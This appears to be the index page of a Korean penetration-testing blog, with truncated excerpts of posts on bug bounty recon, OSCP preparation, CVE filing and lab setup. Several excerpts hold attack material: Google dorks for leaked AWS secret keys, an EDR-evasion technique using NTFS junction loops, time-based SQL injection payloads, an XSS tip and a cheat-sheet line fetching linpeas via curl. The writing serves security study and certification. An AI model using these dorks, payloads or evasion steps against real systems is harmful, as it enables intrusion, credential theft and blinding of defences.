지니

NASA BugBounty (LOR 감사장)

1. SubFinder와 https://chaos.projectdiscovery.io/를 사용해서 매일 새로운 도메인 식별 2. Google Dork를 사용해서 매일 유출된 API 키나 다른 것들이 있는지 확인 (아래 예시)site:test.gov ("aws_access_key_id" | "aws_secret_access_key" | "AKIA" | "S3_BUCKET")site:test.gov "AWS_SECRET_ACCESS_KEY"site:test.gov "Login"site:test.gov "Reggister"site:test.gov "signup"site:test.gov "php"site:test.gov "aspx" 3. Burp Extension JS Analyzer를 활용해서 JS 내 End..

[EDR 우회] Ghost Tree - AI 작성

개요Varonis Threat Labs가 공개한 GhostTree는 Windows NTFS의 Junction 기능을 악용해 무한에 가까운 파일 경로 구조를 만들고, 일부 EDR이나 백신 제품의 폴더 스캔을 지연시키거나 멈추게 만드는 경로 조작 기법이다. Varonis는 이 기법이 NTFS Junction을 이용해 무한 파일 경로를 생성하고, 그 결과 EDR 제품이 hang 상태에 빠져 일부 파일을 검사하지 못할 수 있다고 설명했다.이 기법의 핵심은 단순하다. Windows에서 특정 폴더가 다른 폴더를 가리키도록 만들 수 있는데, 이 가리키는 대상이 자기 자신 또는 부모 폴더라면 파일 시스템 구조가 반복된다. 보안 제품이 이 구조를 재귀적으로 따라가며 검사하면, 같은 위치를 서로 다른 경로로 계속 탐색하게..

[XSS] Cookie Header

1. 헤더에 vclanguage 같은 곳에 ko_KR 존재하면 XSS 삽입 시 JS 파일 내 삽입 확인

OpenClaud 설치

https://nodejs.org/ko/download Node.js — Node.js® 다운로드Node.js® is a free, open-source, cross-platform JavaScript runtime environment that lets developers create servers, web apps, command line tools and scripts.nodejs.orghttps://github.com/Gitlawb/openclaude/blob/main/docs/quick-start-windows.md openclaude/docs/quick-start-windows.md at main · Gitlawb/openclaudeOpen Claude Is Open-source coding-..

[OSCP] OSCP 합격후기 (2025.12.09)

공부는 2025.08.30일부터 시작하였습니다. 독학이 아닌 CIS의 이별 대표님의 OSCP 자격증 취득반이 존재하여,한번에 합격하기 위해서 자격증 취득반을 통해 취득하였습니다. 8주간 함께 공부를 하게 되며, 이별 대표님의 Red Team의 실무 및 노하우들도 함께 들을 수 있어 상당히 만족스러웠습니다.(추가로 보고서 작성 방법도 알려주시며, 시험 일정 관리 등 체계적으로 관리해 주셔서 999% 만족입니다.) 하기 CIS 회사 대표 홈페이지에 접속을 하게 되면, 시험 신청이 가능합니다.제가 알기로는 25년도 일정은 모두 끝났으며, 26년도 상반기 4월에 진행하는 것으로 알고 있습니다.https://cis.re.kr/index 시아이에스(CIS)-침투테스트,보안컨설팅,정보보안교육시아이에스(CIS)는 ..

Sql Injcetion CheatSheet

MySQL , and (select sleep(1)) PostgreSQL ';SELECT PG_SLEEP(1)-- MsSQL ';WAITFOR DELAY '0:0:3'--

[Dreamhack] 2025_01 200위 달성

드림핵을 풀면서 과거에 캡처해 놓았던 200위 달성 게시글 작성! (현재는 자격증 공부 때문에 284등....)주로 5,6,7 레벨들을 풀었으며 웹 해킹 위주로 점수를 올렸습니다!

[OSCP] CheatSheet (25-12-06)

Cheat Sheethttps://www.notion.so/wgenie/CheatSheet-2664e6bba79e804ea4a5dc5a56fb62e4?source=copy_link CheatSheet | NotionNmap(AD는 1번만 해도 되는 ping 막아서 -Pn까지만 추가)www.notion.so북마크 주소https://gtfobins.github.io/https://crackstation.net/https://gchq.github.io/CyberChef/OSCP 파일python3 -m http.server 80curl 10.10./linpeas.sh -o a.shLinpeas 파일https://github.com/peass-ng/PEASS-ng/tree/master/linPEASPHP 리버스 ..

CVE 발급 방법 (non-CNA)

Non-CNA란 Mitre 사와 협약되어 있는 CNA(CVE 발급이 가능한 기관)가 아닌 회사를 뜻합니다. 1. 제품에 대한 취약점을 발굴 시에 Mitre 사에 제출 시도하였습니다.URL : https://cveform.mitre.org/2. Attack Type은 Local로 변경 후 관련 내용 작성을 하였습니다.1) Affected component (취약한 제품의 URL)2) Attack vector (공격 시도한 파라미터)3) Suggested description of the vulnerability for use in the CVE (사용한 공격에 대한 자세한 설명)4) Discoverer/Credits (CVE 발견자 이름)5) Reference (공격 방법에 대한 보고서가 작성되어 있는 ..

SQL_Injection 실습 환경 구성

"php및 db 주의사항" 파일 내 서버 구성 시 필요한,명령어 작성하였습니다. 1. dbconnetion.php 내에 접속 IP 및 계정(ID, PW) 수정 2. php및 db 주의사항 내 test DB 생성 3. users 테이블 생성 및 Dummy 데이터 Insert

[OS] Vmware Live image 파일

Ubuntu 24https://www.linuxvmimages.com/images/ubuntu-2404/ Ubuntu 24.04 VM Images | Ubuntu 24.04 VirtualBox Image | Ubuntu 24.04 VMware ImageUbuntu 24.04 is codenamed 'Mantic Minotaur' was released on October 10th, 2023. Here, we provide ready to use Ubuntu 24.04 Linux VM images for VirtualBox and VMware Workstationwww.linuxvmimages.comRocky 9https://www.linuxvmimages.com/images/rockylinux-9/ Ro..

[OSCP] OSCP 준비 (2025.08.30)

준비 시 참고 사이트 :2025 Dump 박스https://docs.google.com/spreadsheets/d/18weuz_Eeynr6sXFQ87Cd5F0slOj9Z6rt/edit?gid=487240997#gid=487240997Whoami>What is this list for-Before and while doing PEN 200 course and after failing my first attempt I completed multiple machines in multiple hacking platforms.-I did all the PEN 200 cours" data-og-host="docs.google.com" data-og-source-url="https://docs.google.com/..